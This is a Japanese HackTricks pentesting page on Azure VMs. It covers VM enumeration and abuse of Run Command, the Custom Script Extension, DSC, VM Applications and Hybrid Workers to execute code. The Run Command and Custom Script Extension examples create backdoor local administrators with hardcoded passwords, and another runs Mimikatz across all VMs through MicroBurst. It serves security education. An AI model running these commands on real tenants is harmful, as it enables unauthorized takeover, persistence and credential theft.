Az - Virtual Machines & Network

HackTricksをサポートする

基本情報

公式ドキュメントから: Azure 仮想マシンは、Azureが提供するオンデマンドでスケーラブルなコンピューティングリソースの1つです。通常、他の選択肢よりもコンピューティング環境をより細かく制御する必要がある場合に仮想マシンを選択します。この記事では、仮想マシンを作成する前に考慮すべき事項、作成方法、および管理方法についての情報を提供します。

Azureネットワーク情報

Azureネットワークには異なるエンティティと構成方法が含まれています。異なるAzureネットワークエンティティの簡単な説明、および列挙コマンドについては、以下を参照してください:

Az - Azure Network

Azure Bastion

Azure Bastionは、Azureポータルを介してSSL経由でセキュアかつ完全に管理されたRDP(リモートデスクトッププロトコル)およびSSH(セキュアシェル)アクセスソリューションを提供します。これはAzure仮想ネットワーク内に統合されており、プライベートIPを使用してVMへのRDPおよびSSH接続を可能にし、パブリックIPの必要性を回避します。これにより、パブリックIPの割り当てやVMアクセスのためのNSGルール構成を伴う従来の方法に比べて、より安全で便利な代替手段となります。開発者やITスタッフは、Webブラウザを使用してAzureポータルからVMに安全にアクセスでき、開発およびテスト環境のプロセスを効率化できます。

サブスクリプション内のすべてのAzure Bastionホストをリストするには、次のコマンドを使用できます:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

VMの列挙

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

VMでコマンドを実行する

VMでのAADログイン

AzureADを経由して認証されたユーザーにアクセスを許可することが可能です。たとえば、Linux VM にアクセスしようとする場合: ssh username@azure-corp.com@1.1.1.1(ログインしようとしているときに使用したazurecorpのメールを使用することが重要です)エラーが発生する可能性があります:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

指示に従ってhttps://microsoft.com/devicelogin に移動し、コードを指定し、メールアドレスとパスワードを資格情報として使用してSSH接続を行うことができます(そのユーザーがそのようにする権限を持っている場合:Virtual Machine Administrator LoginまたはVirtual Machine User Loginロール)。

実行コマンド

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

カスタムスクリプト拡張機能の実行

Azure仮想マシン(VM)拡張機能は、Azure VM上でのデプロイ後の構成および自動化タスクを提供する小さなアプリケーションです。たとえば、仮想マシンにソフトウェアのインストール、ウイルス対策、またはスクリプトの実行が必要な場合、VM拡張機能を使用できます。

したがって、それを書き込む権限があれば、任意のコードを実行できます:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState(DSC)は、コードを介してホストを設定するために使用されるAnsibleに類似したPowerShellツールです。DSCはAzureと統合されており、特定の構成ファイルをアップロードできます。これらのファイルは厳密な構文に従う必要があります。特筆すべきは、AzureのDSC拡張機能が、DSCの基準に合致しないファイルからコマンドを実行できることです。これは提供された図で示されています。

これらのコマンドの実行は、Az PowerShellのPublish-AzVMDscConfiguration 関数によって容易に行われます。要件には、定義された関数を持つ**.PS1ファイルと、.zip**ファイルに圧縮する必要があります。DSCの構文が正確でなくても、コードは実行されます。ただし、拡張機能は実行ステータスを「失敗」とマークし、ステータスが失敗メッセージによって上書きされるため、コマンドからの出力は表示されません。

VMアプリケーションの定義

VMアプリケーションの定義を使用すると、バージョン管理されたアプリケーションをAzure VMに繰り返し展開できます。このリソースは、複数のVMにわたるアプリケーションの展開と更新をサポートします。これを設定するには、Az PowerShellの**New-AzGalleryApplicationNew-AzGalleryApplicationVersion**などのコマンドを使用するいくつかのステップが必要です。

この方法でアプリケーションやコマンドを実行するには、**"VMAppExtension"**が関与します。これは、アプリケーションがVMに適用されると自動的にインストールされます。この拡張機能は、指定されたURIからファイルを取得し、アプリケーションと同じ名前で拡張子なしで保存します。ファイルを正しく実行するには、REST API呼び出しの「ManageActions」フィールドを構成して、ファイルを適切な拡張子でリネームする必要があります。この方法のセットアップが完了すると、提供された図に示されている構造に似ています。

ただし、この実行方法は比較的遅く、アプリケーションやコマンドの実行には約3〜4分かかります。このプロセスに関連するファイルは、アプリケーションのコピー用のC:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\および実行ステータス用のC:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\という特定のディレクトリに保存されます。

両方のテクニックは、Azure環境でコマンドを実行したりアプリケーションを展開したりするためのユニークな方法を提供し、それぞれ独自の要件、ステップ、および考慮事項を持っています。

AzureのHybrid Worker Groups (HWGs)

Hybrid Worker Groups (HWGs) は、Azureの機能であり、Automation Accountで構成されたRunbookを指定されたHWGの一部であるAzure仮想マシン(VM)で実行できるようにします。この実行は、VMにインストールされた拡張機能によって行われ、RunbookコードがVMに展開されます。このプロセスの重要な側面は、実際の資格情報が実行に影響を与えないことです。なぜなら、コードは特にSYSTEMまたはrootとして昇格権限で実行されるからです。これは提供された図で示されています。

Windows 10 VMを利用するユーザーにとって重要な詳細は、RunbookのためにPowerShellバージョンを指定する必要性です。これは、PowerShell 7.1がこれらのVMにデフォルトでインストールされていないため、バージョン7.1を指定するとスクリプトの実行が失敗するためです。

Azureのこの機能は、ハイブリッド環境全体でのタスクの自動化と管理を効果的に行う方法を提供し、Azure VM上でのタスクの集中管理と実行を可能にします。

Last updated